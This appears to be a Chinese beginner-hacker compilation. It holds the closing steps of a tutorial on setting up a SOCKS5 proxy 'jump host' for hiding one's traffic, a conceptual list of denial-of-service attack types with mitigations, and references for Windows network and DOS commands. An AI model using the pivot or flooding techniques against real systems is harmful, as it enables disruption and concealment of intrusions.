你也可以检查一下,输入:    

net    use    

屏幕显示:    

会纪录新的网络连接。    

清单是空的    

(如果不是这样就说明,还连着!)    

12:打开,snake的代理跳板GUI版,就会看到属于你自己的跳板正在替你疯狂的冲浪:)    

PS:本篇文章是本人整理tekwei的《DIY    socks5》而得,如果你还不懂可以到“tekwei的主页”下载CIH版。我的主页上有他的衔接,不好意思:)是真的不记得了,我只记得:www.tekwei.org你们试试,不行的话从我网站衔接吧:)我的网址是:topcooler.51.net,上面都是菜鸟黑客教程,欢迎广大菜鸟朋友看看:)   


?DoS(拒绝服务攻击):通过使你的服务计算机崩溃或把它压跨来阻止你提供服务。简单的来说,就是让你的计算机提供可能多的服务从而使你的计算机陷入崩溃的边缘或崩溃。一般服务拒绝攻击有如下的一些常用的手法:    

1.死亡之ping    

利用许多TCP/IP实现相信ICMP包是正确组织的而且它们对这些包进行的错误校验太少的事实。通过产生畸形的、声称自己的尺寸超出可能的上限的ICMP应答请求包来传播。包的最大尺寸是65535字节,声称其尺寸大雨65500字节的包由于内存分配错误,TCP/IP实现将崩溃。    

解决办法:正确的配置操作系统与防火墙,阻断ICMP以及任何未知协议,都可以防止此类攻击。    

2.泪滴(teardrop)    

泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击,也就是某些TCP/IP实现中分段重新组装进程中存在的潜在弱点被人利用。    

解决办法:服务器应用最新的服务包,或者在设置防火墙时对分段进行重组,而不是转发它们。    

3.UDP洪水(UDP    flood)    

利用简单的TCP/IP服务,如CHARGEN和ECHO来传送毫无用处的占满带宽的无用数据。    

解决办法:关掉不必要的TCP/IP服务,还有就是对防火墙进行配置,阻断来自Internet的请求这些服务的UDP请求。    

4.SYN洪水(SYN    flood)    

利用TCP连接机制的攻击。    

解决办法:在防火墙上过滤来自同一主机的后续连接,当然还要根据实际的情况来判断。    

5.Land攻击    

利用Land攻击时,一个特别的SYN包它的原地址和目标地址都被设置成某一个服务器地址,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时掉,    

解决办法:打最新的补丁。    

6.Smurf攻击    

smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求数据包来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞。    

解决办法:去掉ICMP服务。    

7.Fraggle攻击    

Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息而非ICMP    

解决办法:滤掉UDP应答消息    

8.电子邮件炸弹    

常用的手法也是比较简单的手法,黑客通过向你的电子邮件服务器反复发送同一个大型电子邮件文件就可以淹没它。    

解决办法:对邮件地址进行适当的配置    

9.畸形消息攻击    

如果收到畸形的信息各类操作系统上的许多服务都会崩溃,由于这些服务在处理信息之前不能对他们进行适当的错误检验。    

解决办法:打最新的服务补丁。    

小结:当然还有许多的攻击方法如:体系结构刺探,DNS域转换等,我们暂时在这里就不一一列出了   


?Arp:    显示和修改“地址解析协议”(ARP)    所使用的到以太网的    IP    或令牌环物理地址翻译

表。该命令只有在安装了    TCP/IP    协议之后才可使用

arp    -a    [inet_addr]    [-N    [if_addr]]

arp    -d    inet_addr    [if_addr]

arp    -s    inet_addr    ether_addr    [if_addr]

参数

-a    通过询问    TCP/IP    显示当前    ARP    项。如果指定了    inet_addr,则只显示指定计算    

机的    IP    和物理地址。

-g    与    -a    相同。

inet_addr    以加点的十进制标记指定    IP    地址。

-N    显示由    if_addr    指定的网络界面    ARP    项。

if_addr    指定需要修改其地址转换表接口的    IP    地址(如果有的话)。如果不存在,将使用第    

一个可适用的接口。

-d    删除由    inet_addr    指定的项。

-s    在    ARP    缓存中添加项,将    IP    地址    inet_addr    和物理地址    ether_addr    关联。物    

理地址由以连字符分隔的    6    个十六进制字节给定。使用带点的十进制标记指定    IP    

地址。项是永久性的,即在超时到期后项自动从缓存删除。

ether_addr    指定物理地址。

--------------------------------------------

Finger    在运行    Finger    服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变    

量。该命令只有在安装了    TCP/IP    协议之后才可用。

finger    [-l]    [user]@computer[...]

参数

-l    以长列表格式显示信息。

user    指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息:    

@computer    

--------------------------------------------

Ftp    将文件传送到正在运行    FTP    服务的远程计算机或从正在运行    FTP    服务的远程计算机

传送文件(有时称作    daemon)。Ftp    可以交互使用。单击“相关主题”列表中的    

“ftp    命令”以获得可用的“ftp”子命令描述。该命令只有在安装了    TCP/IP    协议

之后才可用。Ftp    是一种服务,一旦启动,将创建在其中可以使用    ftp    命令的子环

境,通过键入    quit    子命令可以从子环境返回到    Windows    2000    命令提示符。当    

ftp    子环境运行时,它由    ftp    命令提示符代表。

ftp    [-v]    [-n]    [-i]    [-d]    [-g]    [-s:filename]    [-a]    [-w:windowsize]    [computer]

参数

-v    禁止显示远程服务器响应。

-n    禁止自动登录到初始连接。

-i    多个文件传送时关闭交互提示。

-d    启用调试、显示在客户端和服务器之间传递的所有    ftp    命令。

-g    禁用文件名组,它允许在本地文件和路径名中使用通配符字符(*    和    ?)。(请参阅

联机“命令参考”中的    glob    命令。)    

-s:    filename    指定包含    ftp    命令的文本文件;当    ftp    启动后,这些命令将自动运行。该参数中

不允许有空格。使用该开关而不是重定向    (>)。

 

-a    在捆绑数据连接时使用任何本地接口。

-w:windowsize    替代默认大小为    4096    的传送缓冲区。

computer    指定要连接到远程计算机的计算机名或    IP    地址。如果指定,计算机必须是行的最

后一个参数。

--------------------------------------------

Nbtstat    该诊断命令使用    NBT(TCP/IP    上的    NetBIOS)显示协议统计和当前    TCP/IP    连    

接。该命令只有在安装了    TCP/IP    协议之后才可用。    nbtstat    [-a    remotename]    [-A    IP    address]    [-c]    [-n]    [-R]    [-r]    [-S]    [-s]    [interval]

参数

-a    remotename    使用远程计算机的名称列出其名称表。

 

 

-A    IP    address    使用远程计算机的    IP    地址并列出名称表。

 

-c    给定每个名称的    IP    地址并列出    NetBIOS    名称缓存的内容。

-n    列出本地    NetBIOS    名称。“已注册”表明该名称已被广播    (Bnode)    或者    WINS(其    

他节点类型)注册。

-R    清除    NetBIOS    名称缓存中的所有名称后,重新装入    Lmhosts    文件。

-r    列出    Windows    网络名称解析的名称解析统计。在配置使用    WINS    的    Windows    

2000    计算机上,此选项返回要通过广播或    WINS    来解析和注册的名称数。

-S    显示客户端和服务器会话,只通过    IP    地址列出远程计算机。

-s    显示客户端和服务器会话。尝试将远程计算机    IP    地址转换成使用主机文件的名    

称。

interval    重新显示选中的统计,在每个显示之间暂停    interval    秒。按    CTRL+C    停止重新    

显示统计信息。如果省略该参数,nbtstat    打印一次当前的配置信息。

--------------------------------------------

Netstat    显示协议统计和当前的    TCP/IP    网络连接。该命令只有在安装了    TCP/IP    协议后

才可以使用。

netstat    [-a]    [-e]    [-n]    [-s]    [-p    protocol]    [-r]    [interval]

参数

-a    显示所有连接和侦听端口。服务器连接通常不显示。

-e    显示以太网统计。该参数可以与    -s    选项结合使用。

-n    以数字格式显示地址和端口号(而不是尝试查找名称)。

-s    显示每个协议的统计。默认情况下,显示    TCP、UDP、ICMP    和    IP    的统计。-p    选    

项可以用来指定默认的子集。    

-p    protocol    显示由    protocol    指定的协议的连接;protocol    可以是    tcp    或    udp。如果与    -    

s选项一同使用显示每个协议的统计,protocol    可以是    tcp、udp、icmp    或ip。

-r    显示路由表的内容。

interval    重新显示所选的统计,在每次显示之间暂停    interval    秒。按    CTRL+B    停止重新

显示统计。如果省略该参数,netstat    将打印一次当前的配置信息。

--------------------------------------------

Ping    验证与远程计算机的连接。该命令只有在安装了    TCP/IP    协议后才可以使用。

ping    [-t]    [-a]    [-n    count]    [-l    length]    [-f]    [-i    ttl]    [-v    tos]    [-r    count]    [-s    count]    [[-j    computer-list]    |    [-k    computer-list]]    [-w    timeout]    destination-list

参数

-t    Ping    指定的计算机直到中断。    -a    将地址解析为计算机名。

-n    count    发送    count    指定的    ECHO    数据包数。默认值为    4。

-l    length    发送包含由    length    指定的数据量的    ECHO    数据包。默认为    32    字节;最大值是    

65,527。

-f    在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。

-i    ttl    将“生存时间”字段设置为    ttl    指定的值。

-v    tos    将“服务类型”字段设置为    tos    指定的值。

-r    count    在“记录路由”字段中记录传出和返回数据包的路由。count    可以指定最少    1    台,    

最多    9    台计算机。

-s    count    指定    count    指定的跃点数的时间戳。

-j    computer-list    利用    computer-list    指定的计算机列表路由数据包。连续计算机可以被中

间网关分隔(路由稀疏源)IP    允许的最大数量为    9。

-k    computer-list    利用    computer-list    指定的计算机列表路由数据包。连续计算机不能被中

间网关分隔(路由严格源)IP    允许的最大数量为    9。

-w    timeout    指定超时间隔,单位为毫秒。

destination-list    指定要    ping    的远程计算机。

------------------------------------------

Rcp    在    Windows    2000    计算机和运行远程外壳端口监控程序    rshd    的系统之间复制

件。rcp    命令是一个连接命令,从    Windows    2000    计算机发出该命令时,也可以

用于其他传输在两台运行    rshd    的计算机之间复制文件。rshd    端口监控程序可以

在    UNIX    计算机上使用,而在    Windows    2000    上不能使用,所以    Windows    2000    

计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行    rshd    提供    

rcp    实用程序。

rcp    [-a    |    -b]    [-h]    [-r]    source1    source2    ...    sourceN    destination

参数

-a    指定    ASCII    传输模式。此模式在传出文件上将回车/换行符转换为回车符,在传

入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。    -b    指定二进制图像传输模式。没有执行回车/换行符转换。

-h    传输    Windows    2000    计算机上标记为隐藏属性的源文件。如果没有该选项,在    

rcp    命令行上指定隐藏文件的效果与文件不存在一样。

-r    将源的所有子目录内容递归复制到目标。source    和    destination    都必须是目

录,虽然即使源不是目录,使用    -r    也能够工作。但将没有递归。

source    和    destination

格式必须为    [computer[.user]:]filename。如果忽略了    [computer[.user]:]    部分,计算机将假定为本地计算机。如果省略了    [.user]    部分,将使用当前登录的    Windows    2000    用户名。如果使用了完全合格的计算机名,其中包含句点    (.)    分隔符,则必须包含    [.user]。否则,计算机名的最后部分将解释为用户名。如果指定了多个源文件,则    destination    必须是目录。    

如果文件名不是以    UNIX    的正斜杠    (/)    或    Windows    2000    系统的反斜杠    (\)    打头,则假定相对于当前的工作目录。在    Windows    2000    中,这是发出命令的目录。在远程系统中,这是远程用户的登录目录。句点    (.)    表示当前的目录。在远程路径中使用转义字符(\、"    或    '),以便在远程计算机中使用通配符。

-------------------------------------------

Rexec    在运行    REXEC    服务的远程计算机上运行命令。rexec    命令在执行指定命令前,验

证远程计算机上的用户名,只有安装了    TCP/IP    协议后才可以使用该命令。

rexec    computer    [-l    username]    [-n]    command

参数

computer    指定要运行    command    的远程计算机。

-l    username    指定远程计算机上的用户名。

-n    将    rexec    的输入重定向到    NULL。

command    指定要运行的命令。

--------------------------------------------

Route    控制网络路由表。该命令只有在安装了    TCP/IP    协议后才可以使用。

route    [-f]    [-p]    [command    [destination]    [mask    subnetmask]    [gateway]    [metric    costmetric]]

参数

-f    清除所有网关入口的路由表。如果该参数与某个命令组合使用,路由表将在运行

命令前清除。

-p    该参数与    add    命令一起使用时,将使路由在系统引导程序之间持久存在。默认

情况下,系统重新启动时不保留路由。与    print    命令一起使用时,显示已注册

的持久路由列表。忽略其他所有总是影响相应持久路由的命令。

command    指定下列的一个命令。

命令目的    print    打印路由    

add    添加路由    

delete    删除路由    

change    更改现存路由    

destination    指定发送    command    的计算机。    mask    subnetmask    指定与该路由条目关联的子网掩码。如果没有指定,将使用    

255.255.255.255。

gateway    指定网关。

名为    Networks    的网络数据库文件和名为    Hosts    的计算机名数据库文件中均引用全部    destination    或    gateway    使用的符号名称。如果命令是    print    或    delete,目标和网关还可以使用通配符,也可以省略网关参数。

metric    costmetric    指派整数跃点数(从    1    到    9999)在计算最快速、最可靠和(或)最便宜的    

路由时使用。

---------------------------------------------------------------------------------

Rsh

在运行    RSH    服务的远程计算机上运行命令。该命令只有在安装了    TCP/IP    协议后才可以使用。

rsh    computer    [-l    username]    [-n]    command

参数

computer    指定运行    command    的远程计算机。

-l    username    指定远程计算机上使用的用户名。如果省略,则使用登录的用户名。

-n    将    rsh    的输入重定向到    NULL。

command    指定要运行的命令。

__________________________________________________________________________________

Tftp    将文件传输到正在运行    TFTP    服务的远程计算机或从正在运行    TFTP    服务的远

程计算机传输文件。该命令只有在安装了    TCP/IP    协议后才可以使用。    tftp    [-i]    computer    [get    |    put]    source    [destination]

参数

-i    指定二进制图像传送模式(也称为“八位字节”)。在二进制图像模式中,文件一

个字节接一个字节地逐字移动。在传送二进制文件时使用该模式。

如果省略了    -i,文件将以    ASCII    模式传送。这是默认的传送模式。此模式将    EOL    字符转换为    UNIX    的回车符和个人计算机的回车符/换行符。在传送文本文件时应使用此模式。如果文件传送成功,将显示数据传输率。

computer    指定本地或远程计算机。

put    将本地计算机上的文件    destination    传送到远程计算机上的文件    source。

get    将远程计算机上的文件    destination    传送到本地计算机上的文件    source。

如果将本地计算机上的文件    file-two    传送到远程计算机上的文件    file-one,请指定    put。如果将远程计算机上的文件    file-two    传送到远程计算机上的文件    file-one,请指定    get。因为    tftp    协议不支持用户身份验证,所以用户必须登录,并且文件在远程计算机上必须可以写入。

source    指定要传送的文件。如果本地文件指定为    -,则远程文件在    stdout    上打印出来    

(如果获取),或从    stdin(如果放置)读取。    

destination    指定将文件传送到的位置。如果省略了    destination,将假定与    source    同名。

________________________________________________________________________________

Tracert    该诊断实用程序将包含不同生存时间    (TTL)    值的    Internet    控制消息协议    

(ICMP)    回显数据包发送到目标,以决定到达目标采用的路由。要在转发数据包上    

的    TTL    之前至少递减    1,必需路径上的每个路由器,所以    TTL    是有效的跃点计    

数。数据包上的    TTL    到达    0    时,路由器应该将“ICMP    已超时”的消息发送回源系

统。Tracert    先发送    TTL    为    1    的回显数据包,并在随后的每次发送过程将    TTL    

递增    1,直到目标响应或    TTL    达到最大值,从而确定路由。路由通过检查中级    

路由器发送回的“ICMP    已超时”的消息来确定路由。不过,有些路由器悄悄地下传

包含过期    TTL    值的数据包,而    tracert    看不到。

tracert    [-d]    [-h    maximum_hops]    [-j    computer-list]    [-w    timeout]    target_name

参数

/d    指定不将地址解析为计算机名。

-h    maximum_hops    指定搜索目标的最大跃点数。

-j    computer-list    指定沿    computer-list    的稀疏源路由。

-w    timeout    每次应答等待    timeout    指定的微秒数。

target_name    目标计算机的名称。   


?  一)MD——建立子目录

1.功能:创建新的子目录

2.类型:内部命令

3.格式:MD[盘符:][路径名]〈子目录名〉

4.使用说明:

(1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器;

(2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。

例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。

C:、>MD    FOX    (在当前驱动器C盘下创建子目录FOX)

C:、>MD    FOX    、USER    (在FOX    子目录下再创建USER子目录)

(二)CD——改变当前目录

1.功能:显示当前目录

2.类型:内部命令

3.格式:CD[盘符:][路径名][子目录名]

4.使用说明:

(1)如果省略路径和子目录名则显示当前目录;

(2)如采用“CD、”格式,则退回到根目录;

(3)如采用“CD.。”格式则退回到上一级目录。

例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。

C:、>CD    FOX    、USER(进入FOX子目录下的USER子目录)

C:、FOX、USER>CD.。    (退回上一级根目录)

C:、FOX>CD、    (返回到根目录)

C:、>

(三)RD——删除子目录命令

1.功能:从指定的磁盘删除了目录。

2.类型:内部命令

3.格式:RD[盘符:][路径名][子目录名]

4.使用说明:

(1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身;

(2)不能删除根目录和当前目录。

例:要求把C盘FOX子目录下的USER子目录删除,操作如下:

第一步:先将USER子目录下的文件删空;

C、>DEL    C:、FOX、USER、*。*

第二步,删除USER子目录。

C、>RD    C:、FOX、USER

(四)DIR——显示磁盘目录命令

1.功能:显示磁盘目录的内容。

2.类型:内部命令

3.格式:DIR    [盘符][路径][/P][/W]

4.    使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press    any    key    to    continue

/W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个文件名。

PATH——路径设置命令

1.功能:设备可执行文件的搜索路径,只对文件有效。

2.类型:内部命令

3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…}

4.使用说明:

(1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件;

(2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开;

(3)PATH命令有三种使用方法:

PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径)

PATH:(取消所有路径)

PATH:(显示目前所设的路径)

(六)TREE——显示磁盘目录结构命令

1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。

2.类型:外部命令

3.格式:TREE[盘符:][/F][》PRN]

4.使用说明:

(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件;

(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。

(七)DELTREE——删除整个目录命令

1.功能:将整个目录及其下属子目录和文件删除。

2.类型:外部命令

3.格式:DELTREE[盘符:]〈路径名〉

4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!!

五、磁盘操作类命令

(一)FORMAT——磁盘格式化命令

1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。

2.类型:外部命令

3.格式:FORMAT〈盘符:〉[/S][/4][/Q]

4.使用说明:

(1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL    DATA    ON    NON    ——REMOVABLE    DISK

DRIVE    C:WILL    BE    LOST    !

Proceed    with    Format    (Y/N)?

(警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?)

(2)若是对软盘进行格式化,则会如下提示:Insert    mew    diskette    for    drive    A;

and    press    ENTER    when    ready…

(在A驱中插入新盘,准备好后按回车键)。

(3)选用[/S]参数,将把DOS系统文件IO.SYS    、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘;

(4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘;

(5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。

(6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。

(二)UNFORMAT恢复格式化命令

1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。

2.类型:外部命令

3.格式:UNFORMAT〈盘符〉[/L][/U][/P][/TEST]

4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNFORMAT来抢救。

(1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做FORMAT工作。

(2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print    out    will    be    sent    to    LPT1”

(3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation    only”

(4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNFORMAT。

(5)选用/PSRTN;修复硬盘分区表。

若在盘符之后加上/P、/L、/TEST之一,都相当于使用了/U参数,UNFORMAT会“假设”此时磁盘没有MIRROR映像文件。

注意:UNFORMAT对于刚FORMAT的磁盘,可以完全恢复,但FORMAT后若做了其它数据的写入,则UNFORMAT就不能完整的救回数据了。UNFORMAT并非是万能的,由于使用UNFORMAT会重建FAT与根目录,所以它也具有较高的危险性,操作不当可能会扩大损失,如果仅误删了几个文件或子目录,只需要利用UNDELETE就够了。

三)    CHKDSK——检查磁盘当前状态命令

1.功能:显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。

2.类型:外部命令

3.格式:CHKDSK    [盘符:][路径][文件名][/F][/V]

4.使用说明:

(1)选用[文件名]参数,则显示该文件占用磁盘的情况;

(2)选[/F]参数,纠正在指定磁盘上发现的逻辑错误;

(3)选用[/V]参数,显示盘上的所有文件和路径。

(四)DISKCOPY——整盘复制命令

1.功能:复制格式和内容完全相同的软盘。

2.类型:外部命令

3.格式:DISKCOPY[盘符1:][盘符2:]

4.使用说明:

(1)如果目标软盘没有格式化,则复制时系统自动选进行格式化。

(2)如果目标软盘上原有文件,则复制后将全部丢失。

(3)如果是单驱动器复制,系统会提示适时更换源盘和目标盘,请操作时注意分清源盘和目标盘。

(五)LABEL——建立磁盘卷标命令

1.功能:建立、更改、删除磁盘卷标。

2.类型:外部命令

3.格式:LABEL[盘符:][卷标名]

4.使用说明:

(1)卷标名为要建立的卷标名,若缺省此参数,则系统提示键入卷标名或询问是否删除原有的卷标名;

(2)卷标名由1至11个字符组成。

(六)VOL——显示磁盘卷标命令

1.功能:查看磁盘卷标号。

2.类型:内部命令

3.格式:VOL[盘符:]

4.使用说明:省略盘符,显示当前驱动器卷标。

(七)SCANDISK——检测、修复磁盘命令

1.功能:检测磁盘的FAT表、目录结构、文件系统等是否有问题,并可将检测出的问题加以修复。

2.类型:外部命令

3.格式:SCANDISK[盘符1:]{[盘符2:]…}[/ALL]

4.使用说明:

(1)CCANDISK适用于硬盘和软盘,可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘;

(2)可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误,并加以修复。

(八)DEFRAG——重整磁盘命令

1.。功能:整理磁盘,消除磁盘碎块。

2.类型:外部命令

3.格式:DEFRAG[盘符:][/F]

4.使用说明:选用/F参数,将文件中存在盘上的碎片消除,并调整磁盘文件的安排,确保文件之间毫无空隙。从而加快读盘速度和节省磁盘空间。

(九)SYS——系统复制命令

1.功能:将当前驱动器上的DOS系统文件IO.SYS,MSDOS.SYS和COMMAND.COM    传送到指定的驱动器上。

2.类型:外部命令

3.格式:SYS[盘符:]

*使用说明:如果磁盘剩余空间不足以存放系统文件,则提示:No    roomfor    on    destination    disk.

文件操作类命令

(一)    COPY文件复制命令

1.功能:拷贝一个或多个文件到指定盘上。

2.类型:内部命令

3.格式:COPY    [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名]

4.使用说明:

(1)COPY是文件对文件的方式复制数据,复制前目标盘必须已经格式化;

(2)复制过程中,目标盘上相同文件名称的旧文件会被源文件取代;

(3)复制文件时,必须先确定目标般有足够的空间,否则会出现;insufficient的错误信息,提示磁盘空间不够;

(4)文件名中允许使用通配举“*”“?”,可同时复制多个文件;

(5)COPY命令中源文件名必须指出,不可以省略。

(6)复制时,目标文件名可以与源文件名相同,称作“同名拷贝”此时目标文件名可以省略;

(7)复制时,目标文件名也可以与源文件名不相同,称作“异名拷贝”,此时,目标文件名不能省略;

(8)复制时,还可以将几个文件合并为一个文件,称为“合并拷贝”,格式如下:COPY;[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉;

(9)利用COPY命令,还可以从键盘上输入数据建立文件,格式如下:COPY    CON    [盘符:][路径]〈文件名〉;

(10)注意:COPY命令的使用格式,源文件名与目标文件名之间必须有空格!

(二)XCOPY——目录复制命令

1.功能:复制指定的目录和目录下的所有文件连同目录结构。

2.类型:外部命令

3.格式:XCOPY    [源盘:]〈源路径名〉[目标盘符:][目标路径名][/S][/V][/E]

4.使用说明:

(1)XCOPY是COPY的扩展,可以把指定的目录连文件和目录结构一并拷贝,但不能拷贝隐藏文件和系统文件;

(2)使用时源盘符、源目标路径名、源文件名至少指定一个;

(3)选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数,否则/S不会拷贝空目录,若不指定/S参数,则XCOPY只拷贝源目录本身的文件,而不涉及其下的子目录;

(4)选用/V参数时,对的拷贝的扇区都进行较验,但速度会降低。

(三)TYPE——显示文件内容命令

1.功能:显示ASCII码文件的内容。

2.类型:内部命令。

3.格式:TYPE[盘符:][路径]〈文件名〉

4.使用说明:

(1)显示由ASCII码组成的文本文件,对。EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2;

(2)该命令一次只可以显示一个文件的内容,不能使用通配符;

(3)如果文件有扩展名,则必须将扩展名写上;

(4)当文件较长,一屏显示不下时,可以按以下格式显示;TYPE[盘符:][路径]〈文件名〉|MORE,MORE为分屏显示命令,使用些参数后当满屏时会暂停,按任意键会继续显示。

(5)若需将文件内容打印出来,可用如下格式:

TYPE[盘符:][路径]〈文件名〉,>PRN

此时,打印机应处于联机状态。

(四)    REN——文件改名命令

1.功能:更改文件名称

2.类型:内部命令

3.格式:REN[盘符:][路径]〈旧文件名〉〈新文件名〉

4.使用说明:

(1)新文件名前不可以加上盘符和路径,因为该命令只能对同一盘上的文件更换文件名;

(2)允许使用通配符更改一组文件名或扩展名。

(五)FC——文件比较命令

1.功能:比较文件的异同,并列出差异处。

2.类型:外部命令

3.格式:FC[盘符:][路径名]〈文件名〉[盘符:][路径名][文件名][/A][/B][/C][/N]

4.使用说明:

(1)选用/A参数,为ASCII码比较模式;

(2)选用/B参数,为二进制比较模式;

(3)选用/C参数,将大小写字符看成是相同的字符。

(4)选用/N参数,在ASCII码比较方式下,显示相异处的行号。

(六)ATTRIB——修改文件属性命令

1.功能:修改指定文件的属性。(文件属性参见2.5.4(二)文件属性一节)

2.类型:外部命令。

3.格式:ATTRIB[文件名][R][——R][A][——A][H][——H][S][——S][/S]

4.使用说明:

(1)选用R参数,将指定文件设为只读属性,使得该文件只能读取,无法写入数据或删除;选用——R参数,去除只读属性;

(2)选用A参数,将文件设置为档案属性;选用——A参数,去除档案属性;

(3)选用H参数,将文件调协为隐含属性;选用——H参数,去隐含属性;

(4)选用S参数,将文件设置为系统属性;选用——S参数,去除系统属性;

(5)选用/S参数,对当前目录下的所有子目录及作设置。

七)    DEL——删除文件命令

1.功能:删除指定的文件。

2.类型:内部命令

3.格式:DEL[盘符:][路径]〈文件名〉[/P]

4.使用说明:

(1)选用/P参数,系统在删除前询问是否真要删除该文件,若不使用这个参数,则自动删除;

(2)该命令不能删除属性为隐含或只读的文件;

(3)在文件名称中可以使用通配符;

(4)若要删除磁盘上的所有文件(DEL*·*或DEL·),则会提示:(Arey    ou    sure?)(你确定吗?)若回答Y,则进行删除,回答N,则取消此次删除作业。

(八)    UNDELETE——恢复删除命令

1.功能:恢复被误删除命令

2.类型:外部命令。

3.格式:UNDELETE[盘符:][路径名]〈文件名〉[/DOS]/LIST][/ALL]

4.使用说明:使用UNDELETE可以使用“*”和“?”通配符。

(1)选用/DOS参数根据目录里残留的记录来恢复文件。由于文件被删除时,目录所记载斩文件名第一个字符会被改为E5,DOS即依据文件开头的E5和其后续的字符来找到欲恢复的文件,所以,UNDELETE会要求用户输入一个字符,以便将文件名字补齐。但此字符不必和原来的一样,只需符合DOS的文件名规则即可。

(2)选用/LIST只“列出”符合指定条件的文件而不做恢复,所以对磁盘内容完全不会有影响。

(3)选用/ALL自动将可完全恢复的文件完全恢复,而不一一地询问用户,使用此参数时,若UNDELTE利用目录里残留的记录来将文件恢复,则会自动选一个字符将文件名补齐,并且使其不与现存文件名相同,选用字符的优选顺序为:#%——0000123456789A~Z。

UNDELETE还具有建立文件的防护措施的功能,已超出本课程授课范围,请读者在使用些功能时查阅有关DOS手册。

七、其它命令

(一)CLS——清屏幕命令

1功能:清除屏幕上的所有显示,光标置于屏幕左上角。

2类型:内部命令

3格式:CLS

(二)    VER查看系统版本号命令

1功能:显示当前系统版本号

2类型:内部命令

3格式:VER

(三)    DATA日期设置命令

1功能:设置或显示系统日期。

2类型:内部命令

3格式:DATE[mm——dd——yy]

4使用说明:

(1)省略[mm——dd——yy]显示系统日期并提示输入新的日期,不修改则可直接按回车键,[mm——dd——yy]为“月月——日日——年年”格式;

(2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。

(四)    TIME系统时钟设置命令

1功能:设置或显示系统时期。

2类型:内部命令

3格式:TIME[hh:mm:ss:xx]

4使用说明:

(1)省略[hh:mm:ss:xx],显示系统时间并提示输入新的时间,不修改则可直接按回车键,[hh:mm:ss:xx]为“小时:分钟:秒:百分之几秒”格式;

(2)当机器开始启动时,有自动处理文件(AUTOEXEC.BAT)被执行,则系统不提示输入系统日期。否则,提示输入新日期和时间。

(五)MEM查看当前内存状况命令

1功能:显示当前内存使用的情况

2类型:外部命令

3格式:MEM[/C][/F][/M][/P]

4使用说明:

(1)选用/C参数列出装入常规内存和CMB的各文件的长度,同时也显示内存空间的使用状况和最大的可用空间;

(2)选用/F参数分别列出当前常规内存剩余的字节大小和UMB可用的区域及大小;

(3)选用/M参数显示该模块使用内存地地址、大小及模块性质;

(4)选用/P参数指定当输出超过一屏时,暂停供用户查看。

(六)    MSD显示系统信息命令

1功能:显示系统的硬件和操作系统的状况。

2类型:外部命令

